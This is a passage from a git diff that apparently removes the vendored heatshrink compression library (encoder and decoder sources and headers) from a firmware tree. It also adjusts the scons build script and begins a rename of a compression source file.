emitting %zu bytes from -%u bytes back\n", count, neg_offset); - ASSERT(neg_offset <= mask + 1); - ASSERT(count <= (size_t)(1 << BACKREF_COUNT_BITS(hsd))); - - for (i=0; ihead_index - neg_offset) & mask]; - push_byte(hsd, oi, c); - buf[hsd->head_index & mask] = c; - hsd->head_index++; - LOG(" -- ++ 0x%02x\n", c); - } - hsd->output_count -= count; - if (hsd->output_count == 0) { return HSDS_TAG_BIT; } - } - return HSDS_YIELD_BACKREF; -} - -/* Get the next COUNT bits from the input buffer, saving incremental progress. - * Returns NO_BITS on end of input, or if more than 15 bits are requested. */ -static uint16_t get_bits(heatshrink_decoder *hsd, uint8_t count) { - uint16_t accumulator = 0; - int i = 0; - if (count > 15) { return NO_BITS; } - LOG("-- popping %u bit(s)\n", count); - - /* If we aren't able to get COUNT bits, suspend immediately, because we - * don't track how many bits of COUNT we've accumulated before suspend. */ - if (hsd->input_size == 0) { - if (hsd->bit_index < (1 << (count - 1))) { return NO_BITS; } - } - - for (i = 0; i < count; i++) { - if (hsd->bit_index == 0x00) { - if (hsd->input_size == 0) { - LOG(" -- out of bits, suspending w/ accumulator of %u (0x%02x)\n", - accumulator, accumulator); - return NO_BITS; - } - hsd->current_byte = hsd->buffers[hsd->input_index++]; - LOG(" -- pulled byte 0x%02x\n", hsd->current_byte); - if (hsd->input_index == hsd->input_size) { - hsd->input_index = 0; /* input is exhausted */ - hsd->input_size = 0; - } - hsd->bit_index = 0x80; - } - accumulator <<= 1; - if (hsd->current_byte & hsd->bit_index) { - accumulator |= 0x01; - if (0) { - LOG(" -- got 1, accumulator 0x%04x, bit_index 0x%02x\n", - accumulator, hsd->bit_index); - } - } else { - if (0) { - LOG(" -- got 0, accumulator 0x%04x, bit_index 0x%02x\n", - accumulator, hsd->bit_index); - } - } - hsd->bit_index >>= 1; - } - - if (count > 1) { LOG(" -- accumulated %08x\n", accumulator); } - return accumulator; -} - -HSD_finish_res heatshrink_decoder_finish(heatshrink_decoder *hsd) { - if (hsd == NULL) { return HSDR_FINISH_ERROR_NULL; } - switch (hsd->state) { - case HSDS_TAG_BIT: - return hsd->input_size == 0 ? HSDR_FINISH_DONE : HSDR_FINISH_MORE; - - /* If we want to finish with no input, but are in these states, it's - * because the 0-bit padding to the last byte looks like a backref - * marker bit followed by all 0s for index and count bits. */ - case HSDS_BACKREF_INDEX_LSB: - case HSDS_BACKREF_INDEX_MSB: - case HSDS_BACKREF_COUNT_LSB: - case HSDS_BACKREF_COUNT_MSB: - return hsd->input_size == 0 ? HSDR_FINISH_DONE : HSDR_FINISH_MORE; - - /* If the output stream is padded with 0xFFs (possibly due to being in - * flash memory), also explicitly check the input size rather than - * uselessly returning MORE but yielding 0 bytes when polling. */ - case HSDS_YIELD_LITERAL: - return hsd->input_size == 0 ? HSDR_FINISH_DONE : HSDR_FINISH_MORE; - - default: - return HSDR_FINISH_MORE; - } -} - -static void push_byte(heatshrink_decoder *hsd, output_info *oi, uint8_t byte) { - LOG(" -- pushing byte: 0x%02x ('%c')\n", byte, isprint(byte) ? byte : '.'); - oi->buf[(*oi->output_size)++] = byte; - (void)hsd; -} diff --git a/lib/heatshrink/heatshrink_decoder.h b/lib/heatshrink/heatshrink_decoder.h deleted file mode 100644 index 687b0806b..000000000 --- a/lib/heatshrink/heatshrink_decoder.h +++ /dev/null @@ -1,100 +0,0 @@ -#ifndef HEATSHRINK_DECODER_H -#define HEATSHRINK_DECODER_H - -#include -#include -#include "heatshrink_common.h" -#include "heatshrink_config.h" - -typedef enum { - HSDR_SINK_OK, /* data sunk, ready to poll */ - HSDR_SINK_FULL, /* out of space in internal buffer */ - HSDR_SINK_ERROR_NULL=-1, /* NULL argument */ -} HSD_sink_res; - -typedef enum { - HSDR_POLL_EMPTY, /* input exhausted */ - HSDR_POLL_MORE, /* more data remaining, call again w/ fresh output buffer */ - HSDR_POLL_ERROR_NULL=-1, /* NULL arguments */ - HSDR_POLL_ERROR_UNKNOWN=-2, -} HSD_poll_res; - -typedef enum { - HSDR_FINISH_DONE, /* output is done */ - HSDR_FINISH_MORE, /* more output remains */ - HSDR_FINISH_ERROR_NULL=-1, /* NULL arguments */ -} HSD_finish_res; - -#if HEATSHRINK_DYNAMIC_ALLOC -#define HEATSHRINK_DECODER_INPUT_BUFFER_SIZE(BUF) \ - ((BUF)->input_buffer_size) -#define HEATSHRINK_DECODER_WINDOW_BITS(BUF) \ - ((BUF)->window_sz2) -#define HEATSHRINK_DECODER_LOOKAHEAD_BITS(BUF) \ - ((BUF)->lookahead_sz2) -#else -#define HEATSHRINK_DECODER_INPUT_BUFFER_SIZE(_) \ - HEATSHRINK_STATIC_INPUT_BUFFER_SIZE -#define HEATSHRINK_DECODER_WINDOW_BITS(_) \ - (HEATSHRINK_STATIC_WINDOW_BITS) -#define HEATSHRINK_DECODER_LOOKAHEAD_BITS(BUF) \ - (HEATSHRINK_STATIC_LOOKAHEAD_BITS) -#endif - -typedef struct { - uint16_t input_size; /* bytes in input buffer */ - uint16_t input_index; /* offset to next unprocessed input byte */ - uint16_t output_count; /* how many bytes to output */ - uint16_t output_index; /* index for bytes to output */ - uint16_t head_index; /* head of window buffer */ - uint8_t state; /* current state machine node */ - uint8_t current_byte; /* current byte of input */ - uint8_t bit_index; /* current bit index */ - -#if HEATSHRINK_DYNAMIC_ALLOC - /* Fields that are only used if dynamically allocated. */ - uint8_t window_sz2; /* window buffer bits */ - uint8_t lookahead_sz2; /* lookahead bits */ - uint16_t input_buffer_size; /* input buffer size */ - - /* Input buffer, then expansion window buffer */ - uint8_t* buffers; -#else - /* Input buffer, then expansion window buffer */ - uint8_t buffers[(1 << HEATSHRINK_DECODER_WINDOW_BITS(_)) - + HEATSHRINK_DECODER_INPUT_BUFFER_SIZE(_)]; -#endif -} heatshrink_decoder; - -#if HEATSHRINK_DYNAMIC_ALLOC -/* Allocate a decoder with an input buffer of INPUT_BUFFER_SIZE bytes, - * an expansion buffer size of 2^WINDOW_SZ2, and a lookahead - * size of 2^lookahead_sz2. (The window buffer and lookahead sizes - * must match the settings used when the data was compressed.) - * Returns NULL on error. */ -heatshrink_decoder *heatshrink_decoder_alloc(uint8_t* buffer, uint16_t input_buffer_size, - uint8_t expansion_buffer_sz2, uint8_t lookahead_sz2); - -/* Free a decoder. */ -void heatshrink_decoder_free(heatshrink_decoder *hsd); -#endif - -/* Reset a decoder. */ -void heatshrink_decoder_reset(heatshrink_decoder *hsd); - -/* Sink at most SIZE bytes from IN_BUF into the decoder. *INPUT_SIZE is set to - * indicate how many bytes were actually sunk (in case a buffer was filled). */ -HSD_sink_res heatshrink_decoder_sink(heatshrink_decoder *hsd, - uint8_t *in_buf, size_t size, size_t *input_size); - -/* Poll for output from the decoder, copying at most OUT_BUF_SIZE bytes into - * OUT_BUF (setting *OUTPUT_SIZE to the actual amount copied). */ -HSD_poll_res heatshrink_decoder_poll(heatshrink_decoder *hsd, - uint8_t *out_buf, size_t out_buf_size, size_t *output_size); - -/* Notify the dencoder that the input stream is finished. - * If the return value is HSDR_FINISH_MORE, there is still more output, so - * call heatshrink_decoder_poll and repeat. */ -HSD_finish_res heatshrink_decoder_finish(heatshrink_decoder *hsd); - -#endif diff --git a/lib/heatshrink/heatshrink_encoder.c b/lib/heatshrink/heatshrink_encoder.c deleted file mode 100644 index 98f27dff8..000000000 --- a/lib/heatshrink/heatshrink_encoder.c +++ /dev/null @@ -1,602 +0,0 @@ -#include -#include -#include -#include "heatshrink_encoder.h" - -typedef enum { - HSES_NOT_FULL, /* input buffer not full enough */ - HSES_FILLED, /* buffer is full */ - HSES_SEARCH, /* searching for patterns */ - HSES_YIELD_TAG_BIT, /* yield tag bit */ - HSES_YIELD_LITERAL, /* emit literal byte */ - HSES_YIELD_BR_INDEX, /* yielding backref index */ - HSES_YIELD_BR_LENGTH, /* yielding backref length */ - HSES_SAVE_BACKLOG, /* copying buffer to backlog */ - HSES_FLUSH_BITS, /* flush bit buffer */ - HSES_DONE, /* done */ -} HSE_state; - -#if HEATSHRINK_DEBUGGING_LOGS -#include -#include -#include -#define LOG(...) fprintf(stderr, __VA_ARGS__) -#define ASSERT(X) assert(X) -static const char *state_names[] = { - "not_full", - "filled", - "search", - "yield_tag_bit", - "yield_literal", - "yield_br_index", - "yield_br_length", - "save_backlog", - "flush_bits", - "done", -}; -#else -#define LOG(...) /* no-op */ -#define ASSERT(X) /* no-op */ -#endif - -// Encoder flags -enum { - FLAG_IS_FINISHING = 0x01, -}; - -typedef struct { - uint8_t *buf; /* output buffer */ - size_t buf_size; /* buffer size */ - size_t *output_size; /* bytes pushed to buffer, so far */ -} output_info; - -#define MATCH_NOT_FOUND ((uint16_t)-1) - -static uint16_t get_input_offset(heatshrink_encoder *hse); -static uint16_t get_input_buffer_size(heatshrink_encoder *hse); -static uint16_t get_lookahead_size(heatshrink_encoder *hse); -static void add_tag_bit(heatshrink_encoder *hse, output_info *oi, uint8_t tag); -static int can_take_byte(output_info *oi); -static int is_finishing(heatshrink_encoder *hse); -static void save_backlog(heatshrink_encoder *hse); - -/* Push COUNT (max 8) bits to the output buffer, which has room. */ -static void push_bits(heatshrink_encoder *hse, uint8_t count, uint8_t bits, - output_info *oi); -static uint8_t push_outgoing_bits(heatshrink_encoder *hse, output_info *oi); -static void push_literal_byte(heatshrink_encoder *hse, output_info *oi); - -#if HEATSHRINK_DYNAMIC_ALLOC -heatshrink_encoder *heatshrink_encoder_alloc(uint8_t* buffer, uint8_t window_sz2, - uint8_t lookahead_sz2) { - if ((window_sz2 < HEATSHRINK_MIN_WINDOW_BITS) || - (window_sz2 > HEATSHRINK_MAX_WINDOW_BITS) || - (lookahead_sz2 < HEATSHRINK_MIN_LOOKAHEAD_BITS) || - (lookahead_sz2 >= window_sz2)) { - return NULL; - } - - /* Note: 2 * the window size is used because the buffer needs to fit - * (1 << window_sz2) bytes for the current input, and an additional - * (1 << window_sz2) bytes for the previous buffer of input, which - * will be scanned for useful backreferences. */ - size_t buf_sz = (2 << window_sz2); - - heatshrink_encoder *hse = HEATSHRINK_MALLOC(sizeof(*hse)); - if (hse == NULL) { return NULL; } - hse->window_sz2 = window_sz2; - hse->lookahead_sz2 = lookahead_sz2; - hse->buffer = buffer; - heatshrink_encoder_reset(hse); - -#if HEATSHRINK_USE_INDEX - size_t index_sz = buf_sz*sizeof(uint16_t); - hse->search_index = HEATSHRINK_MALLOC(index_sz + sizeof(struct hs_index)); - if (hse->search_index == NULL) { - HEATSHRINK_FREE(hse, sizeof(*hse) + buf_sz); - return NULL; - } - hse->search_index->size = index_sz; -#endif - - LOG("-- allocated encoder with buffer size of %zu (%u byte input size)\n", - buf_sz, get_input_buffer_size(hse)); - return hse; -} - -void heatshrink_encoder_free(heatshrink_encoder *hse) { -#if HEATSHRINK_USE_INDEX - size_t index_sz = sizeof(struct hs_index) + hse->search_index->size; - HEATSHRINK_FREE(hse->search_index, index_sz); - (void)index_sz; -#endif - HEATSHRINK_FREE(hse, sizeof(heatshrink_encoder)); -} -#endif - -void heatshrink_encoder_reset(heatshrink_encoder *hse) { - hse->input_size = 0; - hse->state = HSES_NOT_FULL; - hse->match_scan_index = 0; - hse->flags = 0; - hse->bit_index = 0x80; - hse->current_byte = 0x00; - hse->match_length = 0; - - hse->outgoing_bits = 0x0000; - hse->outgoing_bits_count = 0; - - #ifdef LOOP_DETECT - hse->loop_detect = (uint32_t)-1; - #endif -} - -HSE_sink_res heatshrink_encoder_sink(heatshrink_encoder *hse, - uint8_t *in_buf, size_t size, size_t *input_size) { - if ((hse == NULL) || (in_buf == NULL) || (input_size == NULL)) { - return HSER_SINK_ERROR_NULL; - } - - /* Sinking more content after saying the content is done, tsk tsk */ - if (is_finishing(hse)) { return HSER_SINK_ERROR_MISUSE; } - - /* Sinking more content before processing is done */ - if (hse->state != HSES_NOT_FULL) { return HSER_SINK_ERROR_MISUSE; } - - uint16_t write_offset = get_input_offset(hse) + hse->input_size; - uint16_t ibs = get_input_buffer_size(hse); - uint16_t rem = ibs - hse->input_size; - uint16_t cp_sz = rem < size ? rem : size; - - memcpy(&hse->buffer[write_offset], in_buf, cp_sz); - *input_size = cp_sz; - hse->input_size += cp_sz; - - LOG("-- sunk %u bytes (of %zu) into encoder at %d, input buffer now has %u\n", - cp_sz, size, write_offset, hse->input_size); - if (cp_sz == rem) { - LOG("-- internal buffer is now full\n"); - hse->state = HSES_FILLED; - } - - return HSER_SINK_OK; -} - - -/*************** - * Compression * - ***************/ - -static uint16_t find_longest_match(heatshrink_encoder *hse, uint16_t start, - uint16_t end, const uint16_t maxlen, uint16_t *match_length); -static void do_indexing(heatshrink_encoder *hse); - -static HSE_state st_step_search(heatshrink_encoder *hse); -static HSE_state st_yield_tag_bit(heatshrink_encoder *hse, - output_info *oi); -static HSE_state st_yield_literal(heatshrink_encoder *hse, - output_info *oi); -static HSE_state st_yield_br_index(heatshrink_encoder *hse, - output_info *oi); -static HSE_state st_yield_br_length(heatshrink_encoder *hse, - output_info *oi); -static HSE_state st_save_backlog(heatshrink_encoder *hse); -static HSE_state st_flush_bit_buffer(heatshrink_encoder *hse, - output_info *oi); - -HSE_poll_res heatshrink_encoder_poll(heatshrink_encoder *hse, - uint8_t *out_buf, size_t out_buf_size, size_t *output_size) { - if ((hse == NULL) || (out_buf == NULL) || (output_size == NULL)) { - return HSER_POLL_ERROR_NULL; - } - if (out_buf_size == 0) { - LOG("-- MISUSE: output buffer size is 0\n"); - return HSER_POLL_ERROR_MISUSE; - } - *output_size = 0; - - output_info oi; - oi.buf = out_buf; - oi.buf_size = out_buf_size; - oi.output_size = output_size; - - while (1) { - LOG("-- polling, state %u (%s), flags 0x%02x\n", - hse->state, state_names[hse->state], hse->flags); - - uint8_t in_state = hse->state; - switch (in_state) { - case HSES_NOT_FULL: - return HSER_POLL_EMPTY; - case HSES_FILLED: - do_indexing(hse); - hse->state = HSES_SEARCH; - break; - case HSES_SEARCH: - hse->state = st_step_search(hse); - break; - case HSES_YIELD_TAG_BIT: - hse->state = st_yield_tag_bit(hse, &oi); - break; - case HSES_YIELD_LITERAL: - hse->state = st_yield_literal(hse, &oi); - break; - case HSES_YIELD_BR_INDEX: - hse->state = st_yield_br_index(hse, &oi); - break; - case HSES_YIELD_BR_LENGTH: - hse->state = st_yield_br_length(hse, &oi); - break; - case HSES_SAVE_BACKLOG: - hse->state = st_save_backlog(hse); - break; - case HSES_FLUSH_BITS: - hse->state = st_flush_bit_buffer(hse, &oi); - /* fall through */ - case HSES_DONE: - return HSER_POLL_EMPTY; - default: - LOG("-- bad state %s\n", state_names[hse->state]); - return HSER_POLL_ERROR_MISUSE; - } - - if (hse->state == in_state) { - /* Check if output buffer is exhausted. */ - if (*output_size == out_buf_size) return HSER_POLL_MORE; - } - } -} - -HSE_finish_res heatshrink_encoder_finish(heatshrink_encoder *hse) { - if (hse == NULL) { return HSER_FINISH_ERROR_NULL; } - LOG("-- setting is_finishing flag\n"); - hse->flags |= FLAG_IS_FINISHING; - if (hse->state == HSES_NOT_FULL) { hse->state = HSES_FILLED; } - return hse->state == HSES_DONE ? HSER_FINISH_DONE : HSER_FINISH_MORE; -} - -static HSE_state st_step_search(heatshrink_encoder *hse) { - uint16_t window_length = get_input_buffer_size(hse); - uint16_t lookahead_sz = get_lookahead_size(hse); - uint16_t msi = hse->match_scan_index; - LOG("## step_search, scan @ +%d (%d/%d), input size %d\n", - msi, hse->input_size + msi, 2*window_length, hse->input_size); - - bool fin = is_finishing(hse); - if (msi > hse->input_size - (fin ? 1 : lookahead_sz)) { - /* Current search buffer is exhausted, copy it into the - * backlog and await more input. */ - LOG("-- end of search @ %d\n", msi); - return fin ? HSES_FLUSH_BITS : HSES_SAVE_BACKLOG; - } - - uint16_t input_offset = get_input_offset(hse); - uint16_t end = input_offset + msi; - uint16_t start = end - window_length; - - uint16_t max_possible = lookahead_sz; - if (hse->input_size - msi < lookahead_sz) { - max_possible = hse->input_size - msi; - } - - uint16_t match_length = 0; - uint16_t match_pos = find_longest_match(hse, - start, end, max_possible, &match_length); - - if (match_pos == MATCH_NOT_FOUND) { - LOG("ss Match not found\n"); - hse->match_scan_index++; - hse->match_length = 0; - return HSES_YIELD_TAG_BIT; - } else { - LOG("ss Found match of %d bytes at %d\n", match_length, match_pos); - hse->match_pos = match_pos; - hse->match_length = match_length; - ASSERT(match_pos <= 1 << HEATSHRINK_ENCODER_WINDOW_BITS(hse) /*window_length*/); - - return HSES_YIELD_TAG_BIT; - } -} - -static HSE_state st_yield_tag_bit(heatshrink_encoder *hse, - output_info *oi) { - if (can_take_byte(oi)) { - if (hse->match_length == 0) { - add_tag_bit(hse, oi, HEATSHRINK_LITERAL_MARKER); - return HSES_YIELD_LITERAL; - } else { - add_tag_bit(hse, oi, HEATSHRINK_BACKREF_MARKER); - hse->outgoing_bits = hse->match_pos - 1; - hse->outgoing_bits_count = HEATSHRINK_ENCODER_WINDOW_BITS(hse); - return HSES_YIELD_BR_INDEX; - } - } else { - return HSES_YIELD_TAG_BIT; /* output is full, continue */ - } -} - -static HSE_state st_yield_literal(heatshrink_encoder *hse, - output_info *oi) { - if (can_take_byte(oi)) { - push_literal_byte(hse, oi); - return HSES_SEARCH; - } else { - return HSES_YIELD_LITERAL; - } -} - -static HSE_state st_yield_br_index(heatshrink_encoder *hse, - output_info *oi) { - if (can_take_byte(oi)) { - LOG("-- yielding backref index %u\n", hse->match_pos); - if (push_outgoing_bits(hse, oi) > 0) { - return HSES_YIELD_BR_INDEX; /* continue */ - } else { - hse->outgoing_bits = hse->match_length - 1; - hse->outgoing_bits_count = HEATSHRINK_ENCODER_LOOKAHEAD_BITS(hse); - return HSES_YIELD_BR_LENGTH; /* done */ - } - } else { - return HSES_YIELD_BR_INDEX; /* continue */ - } -} - -static HSE_state st_yield_br_length(heatshrink_encoder *hse, - output_info *oi) { - if (can_take_byte(oi)) { - LOG("-- yielding backref length %u\n", hse->match_length); - if (push_outgoing_bits(hse, oi) > 0) { - return HSES_YIELD_BR_LENGTH; - } else { - hse->match_scan_index += hse->match_length; - hse->match_length = 0; - return HSES_SEARCH; - } - } else { - return HSES_YIELD_BR_LENGTH; - } -} - -static HSE_state st_save_backlog(heatshrink_encoder *hse) { - LOG("-- saving backlog\n"); - save_backlog(hse); - return HSES_NOT_FULL; -} - -static HSE_state st_flush_bit_buffer(heatshrink_encoder *hse, - output_info *oi) { - if (hse->bit_index == 0x80) { - LOG("-- done!\n"); - return HSES_DONE; - } else if (can_take_byte(oi)) { - LOG("-- flushing remaining byte (bit_index == 0x%02x)\n", hse->bit_index); - oi->buf[(*oi->output_size)++] = hse->current_byte; - LOG("-- done!\n"); - return HSES_DONE; - } else { - return HSES_FLUSH_BITS; - } -} - -static void add_tag_bit(heatshrink_encoder *hse, output_info *oi, uint8_t tag) { - LOG("-- adding tag bit: %d\n", tag); - push_bits(hse, 1, tag, oi); -} - -static uint16_t get_input_offset(heatshrink_encoder *hse) { - return get_input_buffer_size(hse); -} - -static uint16_t get_input_buffer_size(heatshrink_encoder *hse) { - return (1 << HEATSHRINK_ENCODER_WINDOW_BITS(hse)); - (void)hse; -} - -static uint16_t get_lookahead_size(heatshrink_encoder *hse) { - return (1 << HEATSHRINK_ENCODER_LOOKAHEAD_BITS(hse)); - (void)hse; -} - -static void do_indexing(heatshrink_encoder *hse) { -#if HEATSHRINK_USE_INDEX - /* Build an index array I that contains flattened linked lists - * for the previous instances of every byte in the buffer. - * - * For example, if buf[200] == 'x', then index[200] will either - * be an offset i such that buf[i] == 'x', or a negative offset - * to indicate end-of-list. This significantly speeds up matching, - * while only using sizeof(uint16_t)*sizeof(buffer) bytes of RAM. - * - * Future optimization options: - * 1. Since any negative value represents end-of-list, the other - * 15 bits could be used to improve the index dynamically. - * - * 2. Likewise, the last lookahead_sz bytes of the index will - * not be usable, so temporary data could be stored there to - * dynamically improve the index. - * */ - struct hs_index *hsi = HEATSHRINK_ENCODER_INDEX(hse); - int16_t last[256]; - memset(last, 0xFF, sizeof(last)); - - uint8_t * const data = hse->buffer; - int16_t * const index = hsi->index; - - const uint16_t input_offset = get_input_offset(hse); - const uint16_t end = input_offset + hse->input_size; - - for (uint16_t i=0; iflags & FLAG_IS_FINISHING; -} - -static int can_take_byte(output_info *oi) { - return *oi->output_size < oi->buf_size; -} - -/* Return the longest match for the bytes at buf[end:end+maxlen] between - * buf[start] and buf[end-1]. If no match is found, return -1. */ -static uint16_t find_longest_match(heatshrink_encoder *hse, uint16_t start, - uint16_t end, const uint16_t maxlen, uint16_t *match_length) { - LOG("-- scanning for match of buf[%u:%u] between buf[%u:%u] (max %u bytes)\n", - end, end + maxlen, start, end + maxlen - 1, maxlen); - uint8_t *buf = hse->buffer; - - uint16_t match_maxlen = 0; - uint16_t match_index = MATCH_NOT_FOUND; - - uint16_t len = 0; - uint8_t * const needlepoint = &buf[end]; -#if HEATSHRINK_USE_INDEX - struct hs_index *hsi = HEATSHRINK_ENCODER_INDEX(hse); - int16_t pos = hsi->index[end]; - - while (pos - (int16_t)start >= 0) { - uint8_t * const pospoint = &buf[pos]; - len = 0; - - /* Only check matches that will potentially beat the current maxlen. - * This is redundant with the index if match_maxlen is 0, but the - * added branch overhead to check if it == 0 seems to be worse. */ - if (pospoint[match_maxlen] != needlepoint[match_maxlen]) { - pos = hsi->index[pos]; - continue; - } - - for (len = 1; len < maxlen; len++) { - if (pospoint[len] != needlepoint[len]) break; - } - - if (len > match_maxlen) { - match_maxlen = len; - match_index = pos; - if (len == maxlen) { break; } /* won't find better */ - } - pos = hsi->index[pos]; - } -#else - for (int16_t pos=end - 1; pos - (int16_t)start >= 0; pos--) { - uint8_t * const pospoint = &buf[pos]; - if ((pospoint[match_maxlen] == needlepoint[match_maxlen]) - && (*pospoint == *needlepoint)) { - for (len=1; len cmp buf[%d] == 0x%02x against %02x (start %u)\n", - pos + len, pospoint[len], needlepoint[len], start); - } - if (pospoint[len] != needlepoint[len]) { break; } - } - if (len > match_maxlen) { - match_maxlen = len; - match_index = pos; - if (len == maxlen) { break; } /* don't keep searching */ - } - } - } -#endif - - const size_t break_even_point = - (1 + HEATSHRINK_ENCODER_WINDOW_BITS(hse) + - HEATSHRINK_ENCODER_LOOKAHEAD_BITS(hse)); - - /* Instead of comparing break_even_point against 8*match_maxlen, - * compare match_maxlen against break_even_point/8 to avoid - * overflow. Since MIN_WINDOW_BITS and MIN_LOOKAHEAD_BITS are 4 and - * 3, respectively, break_even_point/8 will always be at least 1. */ - if (match_maxlen > (break_even_point / 8)) { - LOG("-- best match: %u bytes at -%u\n", - match_maxlen, end - match_index); - *match_length = match_maxlen; - return end - match_index; - } - LOG("-- none found\n"); - return MATCH_NOT_FOUND; -} - -static uint8_t push_outgoing_bits(heatshrink_encoder *hse, output_info *oi) { - uint8_t count = 0; - uint8_t bits = 0; - if (hse->outgoing_bits_count > 8) { - count = 8; - bits = hse->outgoing_bits >> (hse->outgoing_bits_count - 8); - } else { - count = hse->outgoing_bits_count; - bits = hse->outgoing_bits; - } - - if (count > 0) { - LOG("-- pushing %d outgoing bits: 0x%02x\n", count, bits); - push_bits(hse, count, bits, oi); - hse->outgoing_bits_count -= count; - } - return count; -} - -/* Push COUNT (max 8) bits to the output buffer, which has room. - * Bytes are set from the lowest bits, up. */ -static void push_bits(heatshrink_encoder *hse, uint8_t count, uint8_t bits, - output_info *oi) { - ASSERT(count <= 8); - LOG("++ push_bits: %d bits, input of 0x%02x\n", count, bits); - - /* If adding a whole byte and at the start of a new output byte, - * just push it through whole and skip the bit IO loop. */ - if (count == 8 && hse->bit_index == 0x80) { - oi->buf[(*oi->output_size)++] = bits; - } else { - for (int i=count - 1; i>=0; i--) { - bool bit = bits & (1 << i); - if (bit) { hse->current_byte |= hse->bit_index; } - if (0) { - LOG(" -- setting bit %d at bit index 0x%02x, byte => 0x%02x\n", - bit ? 1 : 0, hse->bit_index, hse->current_byte); - } - hse->bit_index >>= 1; - if (hse->bit_index == 0x00) { - hse->bit_index = 0x80; - LOG(" > pushing byte 0x%02x\n", hse->current_byte); - oi->buf[(*oi->output_size)++] = hse->current_byte; - hse->current_byte = 0x00; - } - } - } -} - -static void push_literal_byte(heatshrink_encoder *hse, output_info *oi) { - uint16_t processed_offset = hse->match_scan_index - 1; - uint16_t input_offset = get_input_offset(hse) + processed_offset; - uint8_t c = hse->buffer[input_offset]; - LOG("-- yielded literal byte 0x%02x ('%c') from +%d\n", - c, isprint(c) ? c : '.', input_offset); - push_bits(hse, 8, c, oi); -} - -static void save_backlog(heatshrink_encoder *hse) { - size_t input_buf_sz = get_input_buffer_size(hse); - - uint16_t msi = hse->match_scan_index; - - /* Copy processed data to beginning of buffer, so it can be - * used for future matches. Don't bother checking whether the - * input is less than the maximum size, because if it isn't, - * we're done anyway. */ - uint16_t rem = input_buf_sz - msi; // unprocessed bytes - uint16_t shift_sz = input_buf_sz + rem; - - memmove(&hse->buffer[0], - &hse->buffer[input_buf_sz - rem], - shift_sz); - - hse->match_scan_index = 0; - hse->input_size -= input_buf_sz - rem; -} diff --git a/lib/heatshrink/heatshrink_encoder.h b/lib/heatshrink/heatshrink_encoder.h deleted file mode 100644 index e2ccb44c7..000000000 --- a/lib/heatshrink/heatshrink_encoder.h +++ /dev/null @@ -1,109 +0,0 @@ -#ifndef HEATSHRINK_ENCODER_H -#define HEATSHRINK_ENCODER_H - -#include -#include -#include "heatshrink_common.h" -#include "heatshrink_config.h" - -typedef enum { - HSER_SINK_OK, /* data sunk into input buffer */ - HSER_SINK_ERROR_NULL=-1, /* NULL argument */ - HSER_SINK_ERROR_MISUSE=-2, /* API misuse */ -} HSE_sink_res; - -typedef enum { - HSER_POLL_EMPTY, /* input exhausted */ - HSER_POLL_MORE, /* poll again for more output */ - HSER_POLL_ERROR_NULL=-1, /* NULL argument */ - HSER_POLL_ERROR_MISUSE=-2, /* API misuse */ -} HSE_poll_res; - -typedef enum { - HSER_FINISH_DONE, /* encoding is complete */ - HSER_FINISH_MORE, /* more output remaining; use poll */ - HSER_FINISH_ERROR_NULL=-1, /* NULL argument */ -} HSE_finish_res; - -#if HEATSHRINK_DYNAMIC_ALLOC -#define HEATSHRINK_ENCODER_WINDOW_BITS(HSE) \ - ((HSE)->window_sz2) -#define HEATSHRINK_ENCODER_LOOKAHEAD_BITS(HSE) \ - ((HSE)->lookahead_sz2) -#define HEATSHRINK_ENCODER_INDEX(HSE) \ - ((HSE)->search_index) -struct hs_index { - uint16_t size; - int16_t index[]; -}; -#else -#define HEATSHRINK_ENCODER_WINDOW_BITS(_) \ - (HEATSHRINK_STATIC_WINDOW_BITS) -#define HEATSHRINK_ENCODER_LOOKAHEAD_BITS(_) \ - (HEATSHRINK_STATIC_LOOKAHEAD_BITS) -#define HEATSHRINK_ENCODER_INDEX(HSE) \ - (&(HSE)->search_index) -struct hs_index { - uint16_t size; - int16_t index[2 << HEATSHRINK_STATIC_WINDOW_BITS]; -}; -#endif - -typedef struct { - uint16_t input_size; /* bytes in input buffer */ - uint16_t match_scan_index; - uint16_t match_length; - uint16_t match_pos; - uint16_t outgoing_bits; /* enqueued outgoing bits */ - uint8_t outgoing_bits_count; - uint8_t flags; - uint8_t state; /* current state machine node */ - uint8_t current_byte; /* current byte of output */ - uint8_t bit_index; /* current bit index */ -#if HEATSHRINK_DYNAMIC_ALLOC - uint8_t window_sz2; /* 2^n size of window */ - uint8_t lookahead_sz2; /* 2^n size of lookahead */ -#if HEATSHRINK_USE_INDEX - struct hs_index *search_index; -#endif - /* input buffer and / sliding window for expansion */ - uint8_t* buffer; -#else - #if HEATSHRINK_USE_INDEX - struct hs_index search_index; - #endif - /* input buffer and / sliding window for expansion */ - uint8_t buffer[2 << HEATSHRINK_ENCODER_WINDOW_BITS(_)]; -#endif -} heatshrink_encoder; - -#if HEATSHRINK_DYNAMIC_ALLOC -/* Allocate a new encoder struct and its buffers. - * Returns NULL on error. */ -heatshrink_encoder *heatshrink_encoder_alloc(uint8_t* buffer, uint8_t window_sz2, - uint8_t lookahead_sz2); - -/* Free an encoder. */ -void heatshrink_encoder_free(heatshrink_encoder *hse); -#endif - -/* Reset an encoder. */ -void heatshrink_encoder_reset(heatshrink_encoder *hse); - -/* Sink up to SIZE bytes from IN_BUF into the encoder. - * INPUT_SIZE is set to the number of bytes actually sunk (in case a - * buffer was filled.). */ -HSE_sink_res heatshrink_encoder_sink(heatshrink_encoder *hse, - uint8_t *in_buf, size_t size, size_t *input_size); - -/* Poll for output from the encoder, copying at most OUT_BUF_SIZE bytes into - * OUT_BUF (setting *OUTPUT_SIZE to the actual amount copied). */ -HSE_poll_res heatshrink_encoder_poll(heatshrink_encoder *hse, - uint8_t *out_buf, size_t out_buf_size, size_t *output_size); - -/* Notify the encoder that the input stream is finished. - * If the return value is HSER_FINISH_MORE, there is still more output, so - * call heatshrink_encoder_poll and repeat. */ -HSE_finish_res heatshrink_encoder_finish(heatshrink_encoder *hse); - -#endif diff --git a/lib/misc.scons b/lib/misc.scons index 49b6b61d9..b479851b1 100644 --- a/lib/misc.scons +++ b/lib/misc.scons @@ -36,7 +36,6 @@ for lib in libs_recurse: sources += libenv.GlobRecursive("*.c*", lib) libs_plain = [ - "heatshrink", "nanopb", ] @@ -47,6 +46,12 @@ for lib in libs_plain: source=True, ) +sources += Glob( + "heatshrink/heatshrink_*.c*", + exclude=GLOB_FILE_EXCLUSION, + source=True, +) + lib = libenv.StaticLibrary("${FW_LIB_NAME}", sources) libenv.Install("${LIB_DIST_DIR}", lib) Return("lib") diff --git a/firmware/targets/f7/furi_hal/furi_hal_compress.c b/lib/toolbox/compress.c similarity index 67% rename from firmware/targets/f7/furi_hal/furi_hal_compress.c rename to lib/toolbox/compress.c index 